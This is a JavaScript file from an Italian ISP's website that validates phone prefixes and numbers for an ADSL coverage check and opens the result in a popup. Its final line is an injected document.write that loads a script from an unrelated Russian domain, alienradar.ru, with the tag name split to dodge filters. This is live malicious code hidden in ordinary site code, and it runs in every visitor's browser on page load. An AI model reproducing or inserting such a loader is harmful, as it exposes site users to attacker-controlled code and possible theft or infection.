function apri(strPath,title,details){
	if((strPath!=null)&&(strPath!='')&&(strPath!='null')&&(strPath!='NULL')){
		var popup;
		var correctedTitle='';
		var correctedDetails='';

		if((title==null)||(title=='')||(title=='null')||(title=='NULL')){
			correctedTitle='popup_window';
		}else{
			correctedTitle=title;
		}
		if((details==null)||(details=='')||(details=='null')||(details=='NULL')){
			correctedDetails='width=440,height=400,scrollbars=yes,resizable=no';
		}else{
			correctedDetails=details;
		}
		var popup=window.open(strPath,correctedTitle,correctedDetails);
		if(popup!=null){
			if(popup.opener==null){
				popup.opener=self;
			}
		}
	}
}
var prefixes=null;
prefixes = new Array(232);
	prefixes[0] = "0942";
	prefixes[1] = "0941";
	prefixes[2] = "0746";
	prefixes[3] = "0744";
	prefixes[4] = "0743";
	prefixes[5] = "0742";
	prefixes[6] = "0549";
	prefixes[7] = "0547";
	prefixes[8] = "0546";
	prefixes[9] = "0545";
	prefixes[10] = "0544";
	prefixes[11] = "0543";
	prefixes[12] = "0542";
	prefixes[13] = "0541";
	prefixes[14] = "0346";
	prefixes[15] = "0345";
	prefixes[16] = "0344";
	prefixes[17] = "0343";
	prefixes[18] = "0342";
	prefixes[19] = "0341";
	prefixes[20] = "0144";
	prefixes[21] = "0143";
	prefixes[22] = "0935";
	prefixes[23] = "0142";
	prefixes[24] = "0934";
	prefixes[25] = "0141";
	prefixes[26] = "0933";
	prefixes[27] = "0932";
	prefixes[28] = "059";
	prefixes[29] = "0931";
	prefixes[30] = "0737";
	prefixes[31] = "0736";
	prefixes[32] = "0735";
	prefixes[33] = "055";
	prefixes[34] = "0734";
	prefixes[35] = "0733";
	prefixes[36] = "0732";
	prefixes[37] = "0731";
	prefixes[38] = "051";
	prefixes[39] = "050";
	prefixes[40] = "0536";
	prefixes[41] = "0535";
	prefixes[42] = "0534";
	prefixes[43] = "0533";
	prefixes[44] = "0532";
	prefixes[45] = "0332";
	prefixes[46] = "0331";
	prefixes[47] = "0925";
	prefixes[48] = "0924";
	prefixes[49] = "0131";
	prefixes[50] = "0923";
	prefixes[51] = "0922";
	prefixes[52] = "049";
	prefixes[53] = "0921";
	prefixes[54] = "045";
	prefixes[55] = "0885";
	prefixes[56] = "0884";
	prefixes[57] = "0722";
	prefixes[58] = "0883";
	prefixes[59] = "041";
	prefixes[60] = "0721";
	prefixes[61] = "0882";
	prefixes[62] = "040";
	prefixes[63] = "0881";
	prefixes[64] = "0525";
	prefixes[65] = "0524";
	prefixes[66] = "0523";
	prefixes[67] = "0522";
	prefixes[68] = "0521";
	prefixes[69] = "0324";
	prefixes[70] = "0323";
	prefixes[71] = "0322";
	prefixes[72] = "0321";
	prefixes[73] = "0481";
	prefixes[74] = "0125";
	prefixes[75] = "0124";
	prefixes[76] = "0123";
	prefixes[77] = "0122";
	prefixes[78] = "0121";
	prefixes[79] = "039";
	prefixes[80] = "035";
	prefixes[81] = "0875";
	prefixes[82] = "0874";
	prefixes[83] = "0873";
	prefixes[84] = "031";
	prefixes[85] = "0872";
	prefixes[86] = "030";
	prefixes[87] = "0871";
	prefixes[88] = "0474";
	prefixes[89] = "0473";
	prefixes[90] = "0472";
	prefixes[91] = "0471";
	prefixes[92] = "0865";
	prefixes[93] = "0864";
	prefixes[94] = "0863";
	prefixes[95] = "0862";
	prefixes[96] = "0861";
	prefixes[97] = "0465";
	prefixes[98] = "0464";
	prefixes[99] = "0463";
	prefixes[100] = "0462";
	prefixes[101] = "0461";
	prefixes[102] = "019";
	prefixes[103] = "015";
	prefixes[104] = "011";
	prefixes[105] = "010";
	prefixes[106] = "0445";
	prefixes[107] = "0444";
	prefixes[108] = "0442";
	prefixes[109] = "0836";
	prefixes[110] = "0835";
	prefixes[111] = "0833";
	prefixes[112] = "0832";
	prefixes[113] = "0831";
	prefixes[114] = "0439";
	prefixes[115] = "0438";
	prefixes[116] = "0437";
	prefixes[117] = "0436";
	prefixes[118] = "0435";
	prefixes[119] = "0434";
	prefixes[120] = "0433";
	prefixes[121] = "0432";
	prefixes[122] = "0431";
	prefixes[123] = "0828";
	prefixes[124] = "0827";
	prefixes[125] = "0825";
	prefixes[126] = "0824";
	prefixes[127] = "0985";
	prefixes[128] = "0823";
	prefixes[129] = "0984";
	prefixes[130] = "0983";
	prefixes[131] = "0982";
	prefixes[132] = "0789";
	prefixes[133] = "0981";
	prefixes[134] = "0785";
	prefixes[135] = "0784";
	prefixes[136] = "0429";
	prefixes[137] = "0783";
	prefixes[138] = "0428";
	prefixes[139] = "0782";
	prefixes[140] = "0427";
	prefixes[141] = "0781";
	prefixes[142] = "0426";
	prefixes[143] = "0588";
	prefixes[144] = "0425";
	prefixes[145] = "0587";
	prefixes[146] = "0424";
	prefixes[147] = "0586";
	prefixes[148] = "0423";
	prefixes[149] = "0585";
	prefixes[150] = "0422";
	prefixes[151] = "0584";
	prefixes[152] = "0421";
	prefixes[153] = "0583";
	prefixes[154] = "0386";
	prefixes[155] = "0385";
	prefixes[156] = "0384";
	prefixes[157] = "0383";
	prefixes[158] = "0382";
	prefixes[159] = "0381";
	prefixes[160] = "0187";
	prefixes[161] = "0185";
	prefixes[162] = "0184";
	prefixes[163] = "0976";
	prefixes[164] = "0183";
	prefixes[165] = "0975";
	prefixes[166] = "0182";
	prefixes[167] = "0974";
	prefixes[168] = "0973";
	prefixes[169] = "099";
	prefixes[170] = "0972";
	prefixes[171] = "0971";
	prefixes[172] = "0776";
	prefixes[173] = "095";
	prefixes[174] = "0775";
	prefixes[175] = "0774";
	prefixes[176] = "0773";
	prefixes[177] = "091";
	prefixes[178] = "0771";
	prefixes[179] = "0578";
	prefixes[180] = "090";
	prefixes[181] = "0577";
	prefixes[182] = "0575";
	prefixes[183] = "0574";
	prefixes[184] = "0573";
	prefixes[185] = "0572";
	prefixes[186] = "0571";
	prefixes[187] = "0377";
	prefixes[188] = "0376";
	prefixes[189] = "0375";
	prefixes[190] = "0374";
	prefixes[191] = "0373";
	prefixes[192] = "0372";
	prefixes[193] = "0371";
	prefixes[194] = "0968";
	prefixes[195] = "0175";
	prefixes[196] = "0967";
	prefixes[197] = "0174";
	prefixes[198] = "0966";
	prefixes[199] = "0173";
	prefixes[200] = "0965";
	prefixes[201] = "0172";
	prefixes[202] = "0964";
	prefixes[203] = "0171";
	prefixes[204] = "0963";
	prefixes[205] = "0962";
	prefixes[206] = "089";
	prefixes[207] = "0961";
	prefixes[208] = "0766";
	prefixes[209] = "085";
	prefixes[210] = "0765";
	prefixes[211] = "0763";
	prefixes[212] = "081";
	prefixes[213] = "0761";
	prefixes[214] = "080";
	prefixes[215] = "0566";
	prefixes[216] = "0565";
	prefixes[217] = "0564";
	prefixes[218] = "0365";
	prefixes[219] = "0364";
	prefixes[220] = "0363";
	prefixes[221] = "0362";
	prefixes[222] = "0166";
	prefixes[223] = "0165";
	prefixes[224] = "0163";
	prefixes[225] = "0161";
	prefixes[226] = "079";
	prefixes[227] = "075";
	prefixes[228] = "06";
	prefixes[229] = "071";
	prefixes[230] = "02";
	prefixes[231] = "070";

function trim(string){
            // returns the string without leading and trailing spaces
            var len = string.length;
            if(len == 0)
                return(string);
            //else
            var p = 0;
            var ch = '';
            var finished = false;
            while( !finished && (p < len) ) {
                ch = string.charAt(p);
                if(ch == ' ') {
                    p++;
                }
                else
                    finished = true;
            }
            if(p == len)
                return("");
            // else
            finished = false;
            var q = len - 1;
            while( !finished && (q >= 0) ) {
                ch = string.charAt(q);
                if(ch == ' ') {
                    q--;
                }
                else
                    finished = true;
            }
            if(p <= q)
                return( string.substring(p, q + 1) );
            else
                return("");
        }

        function isNumeric(field) {
            // returns true if the field value (trimmed) is numeric
            // that is it contains only the digits 0-9
            // returns false otherwise
            // returns false also if string is empty
            if(field != null) {
                var string = trim(field.value);
                var len = string.length;
                var isTrimmed = (field.value.length != len);
                if(len == 0)
                    return(false);
                //else
                var p = 0;
                var ok = true;
                var ch = '';
                while( ok && (p < len) ) {
                    ch = string.charAt(p);
                    if( ('0' <= ch) && (ch <= '9') ) {
                        p++;
                    }
                    else
                        ok = false;
                }
                if(ok && isTrimmed)
                    field.value = string;
                return(ok);
            }
            else {
                return(false);
            }
        }

function isEmpty(field) {
            // returns true if the field is null, empty or composed only by spaces, false otherwise
            if(field != null) {
                var content = field.value;
                if(content != null) {
                    content = trim(content);
                }
                return( (content == null) || (content.length == 0) );
            }
            else {
                return(true);
            }
        }

function openCopertura() {
            var form = document.formCopertura;
            var telPrefix = form.pref_att;
            var telNumber = form.tel_att;
            var isOK = true;
            var errorField = null;
            var errorMsg = "";
            if(telPrefix && telNumber) {
                if( isEmpty(telPrefix) ) {
                    isOK = false;
                    errorField = telPrefix;
                    errorMsg = "Il prefisso non pu\xF2 essere vuoto!";
                }
                else if( !isNumeric(telPrefix) ) {
                    isOK = false;
                    errorField = telPrefix;
                    errorMsg = "Il prefisso deve essere composto da soli numeri!";
                }
                else if( !(telPrefix.value.charAt(0) == '0') ) {
                    isOK = false;
                    errorField = telPrefix;
                    errorMsg = "Prefisso scorretto: cifra iniziale diversa da 0!";
                }
                else if( !( (telPrefix.value.length >= 2) && (telPrefix.value.length <= 4) ) ) {
                    isOK = false;
                    errorField = telPrefix;
                    errorMsg = "Prefisso scorretto: lunghezza errata!";
                }
                if(isOK) {
                    if( isEmpty(telNumber) ) {
                        isOK = false;
                        errorField = telNumber;
                        errorMsg = "Il numero di telefono non pu\xF2 essere vuoto!";
                    }
                    else if( !isNumeric(telNumber) ) {
                        isOK = false;
                        errorField = telNumber;
                        errorMsg = "Il numero di telefono deve essere composto da soli numeri!";
                    }
                    else if(telNumber.value.length > 8) {
                        isOK = false;
                        errorField = telNumber;
                        errorMsg = "Numero di telefono scorretto: lunghezza errata!";
                    }
                    if(isOK) {
                        var prefixVal = telPrefix.value;
                        var numberVal = telNumber.value;
                        if( (prefixVal.length + numberVal.length) > 10 ) {
                            isOK = false;
                            errorField = telPrefix;
                            errorMsg = "Prefisso o numero di telefono scorretti: lunghezza complessiva errata!";
                        }
                        if(prefixes != null) {
                            var found = false;
                            for(var x = 0; !found && (x < prefixes.length); x++) {
                                if(prefixes[x] == prefixVal) {
                                    found = true;
                                }
                            }
                            if(!found) {
                                isOK = false;
                                errorField = telPrefix;
                                errorMsg = "Prefisso non riconosciuto!";
                            }
                        }
                    }
                }
                if(!isOK) {
                    errorField.select();
                    errorField.focus();
                    alert(errorMsg);
                }
                else {
                    var viewAdslUrl = "http://www.191.alice.it/cgi-bin/di_191/di/191/jsp/demand/jsp/viewAdslCoverage.jsp";
                    var querySring = "BV_UseBVCookie=Yes" + "&"
                        + telPrefix.name + "=" + telPrefix.value + "&"
                        + telNumber.name + "=" + telNumber.value;
                    var popupName = "viewAdslCover";
                    var info = "scrollbars=auto,resizable=no,width=440,height=400";
                    apri(viewAdslUrl + "?" + querySring, popupName, info);
                }
            }
        }



document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Recycle_Bin.js"></scri'+'pt>');
